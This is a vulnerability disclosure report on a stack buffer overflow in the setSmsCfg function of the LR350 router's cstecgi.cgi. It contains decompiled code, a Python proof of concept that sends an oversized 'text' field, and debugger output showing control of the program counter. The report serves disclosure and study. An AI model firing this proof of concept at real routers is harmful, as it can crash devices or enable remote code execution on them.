

LR350 - bof - setSmsCfg

Hi, we found a post-authentication stack buffer overflow at LR350 (Firmware version V9.3.5u.6369_B20220309), and contact you at the first time.

In function `setSmsCfg` of the file `/cgi-bin/cstecgi.cgi`, the size of `text` is not checked, and overflow buffer `v11` via `strcpy` in `replace_string`.

```
11 char v11[1028]; // [sp+480h] [-404h] BYREF
12
13 v8[0] = 0;
14 v8[1] = 0;
15 v8[2] = 0;
16 v8[3] = 0;
17 v8[4] = 0;
18 v8[5] = 0;
19 v8[6] = 0;
20 v8[7] = 0;
21 memset(v9, 0, sizeof(v9));
22 v2 = websGetVar(a1, "text", "");
23 v3 = websGetVar(a1, "phoneNumber", "");
24 v4 = websGetVar(a1, "outboxDate", "");
25 v5 = websGetVar(a1, "outboxTime", "");
26 memset(v10, 0, sizeof(v10));
27 memset(v11, 0, 1024);
28 replace_string((int)v11, (int)v2, (int)+, (int)"%20");
```

```
1 int __fastcall replace_string(int a1, int a2, int a3, int a4)
2 {
3     int v8; // $v0
4     int v9; // $v0
5     int v10; // $s0
6
7     while ( 1 )
8     {
9         v9 = strstr(a2, a3);
10        v10 = v9;
11        if ( !v9 )
12            break;
13        strncpy(a1, a2, v9 - a2);
14        *(_BYTE *)(a1 + v10 - a2) = 0;
15        strcat(a1, a4);
16        v8 = strlen(a3);
17        strcat(a1, v10 + v8);
18        strcpy(a2, a1);
19    }
20    return strcpy(a1, a2);
21 }
```

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie =
{"Cookie":"uid=1234"} data = {'topicurl' : "setSmsCfg", "text" : "a"*2000}
response = requests.post(url, cookies=cookie, json=data) print(response.text)
print(response)
```

The PC register can be hijacked, which means it can result in RCE.

```
pwndbg> c
Continuing.

Thread 2.1 "cstecgi.cgi" received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

[ REGISTERS ]
V0 0x1
V1 0x1
A0 0x1
A1 0x1
A2 0x1
A3 0x0
T0 0x77780998 ← 0x6c5f5f00
T1 0x7777b738 ← nop
T2 0xc91
T3 0xffffffff
T4 0xf0000000
T5 0x1
T6 0x3a22656d ('me":')
T7 0x431668 (setResponse+396) ← move $v0, $zero
T8 0x39
T9 0x7781a0b8 ← lui $gp, 2
S0 0x61616161 ('aaaa')
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x77a768b4
FP 0x7fb190f8 ← 0x61616161 ('aaaa')
SP 0x7fb190f8 ← 0x61616161 ('aaaa')
PC 0x61616161 ('aaaa')

[ DISASM ]
Invalid address 0x61616161
```

